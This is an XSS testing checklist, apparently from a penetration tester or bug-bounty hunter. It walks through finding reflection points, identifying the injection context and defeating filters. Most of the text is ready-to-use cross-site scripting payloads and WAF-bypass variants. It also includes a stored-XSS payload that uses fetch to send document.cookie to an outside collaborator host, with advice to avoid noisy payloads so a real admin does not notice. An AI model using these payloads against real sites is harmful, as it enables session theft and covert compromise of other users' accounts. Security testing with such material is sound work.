XSS Testing Checklist
The mistake people make with XSS is treating it as one bug class. It is six, and each one needs a different payload. The first thing to figure out is which context your input lands in.
1. Find the reflection point
Inject a long, unique, easy-to-grep string:
abdkdr_xss_8721Then view-source: the page and search. Note every place the string appears.
Reflection in two places usually means two different sinks with two different
contexts.
2. Identify the context for each reflection
| Context | What you see | What you need |
|---|---|---|
| HTML body | <p>YOUR_INPUT</p> | <svg onload=alert(1)> |
| HTML attribute | <input value="YOUR_INPUT"> | "><svg onload=alert(1)> or " autofocus onfocus=alert(1) " |
| Single-quoted attribute | <input value='YOUR_INPUT'> | ' autofocus onfocus=alert(1) ' |
Inside <script> | var x = "YOUR_INPUT"; | ";alert(1)// |
| URL/href | <a href="YOUR_INPUT"> | javascript:alert(1) |
| Inside an event handler | <button onclick="YOUR_INPUT"> | alert(1) directly — already in JS |
| CSS | <style>.x { content: "YOUR_INPUT" } | ";} body { background:url('//x.x'); } /* (exfil, not RCE) |
Always test the context, not the payload. A payload that works in HTML body will silently fail inside an attribute and waste your day.
3. Identify the filter
Inject these four probes individually:
<script>alert(1)</script>
<svg onload=alert(1)>
" onmouseover=alert(1) "
javascript:alert(1)Watch what gets stripped, encoded, or escaped. The pattern tells you which WAF rules are firing.
4. Bypasses, in order of how often they work
Tag-blocked
The WAF strips <script>. Use SVG or event handlers:
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>Event-blocked
onerror, onload, onfocus all blocked. Try less-common handlers:
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>alert blocked
Substitute:
print(1)
confirm(1)
top["al"+"ert"](1)
(alert)(1)
window["alert"](1)Parens blocked
onerror=alert`1`
{onerror=alert}1Quotes blocked inside attribute context
Use HTML entities — most browsers decode them inside attribute values:
"-alert(1)-"5. DOM XSS
Reflection-based detection misses DOM sinks. Always grep the JS for:
.innerHTML =
document.write(
eval(
setTimeout(
location.hash
location.search
URLSearchParamsInject a marker into location.hash (#abdkdr_xss_8721) and watch which sinks
consume it. The Chrome DevTools “DOM Invader” extension automates this.
6. Stored XSS
For stored, the diff is just the injection lifecycle: payload → persist → admin/victim views it → fires. The bypass game is identical; the discovery takes longer because you need to find what gets rendered where (profile bio, support ticket subject, audit log viewer, exported PDF).
In stored XSS, never use noisy payloads like alert(1). Use a
callback to your collaborator instead:
<svg onload=fetch('//x.oast.me/'+document.cookie)>A real admin who triggers an alert() will close the tab and tell IT.
What I check before reporting
- Can the payload survive a hard refresh?
- Does it fire for a different user (cookie isolation actually working)?
- Can I read
httpOnlycookies? (No, but I can still hit authed endpoints.) - Is there a CSP? If
unsafe-inlineis inscript-src, full RCE. If not, I write the report withframe-ancestors/ clickjacking impact instead.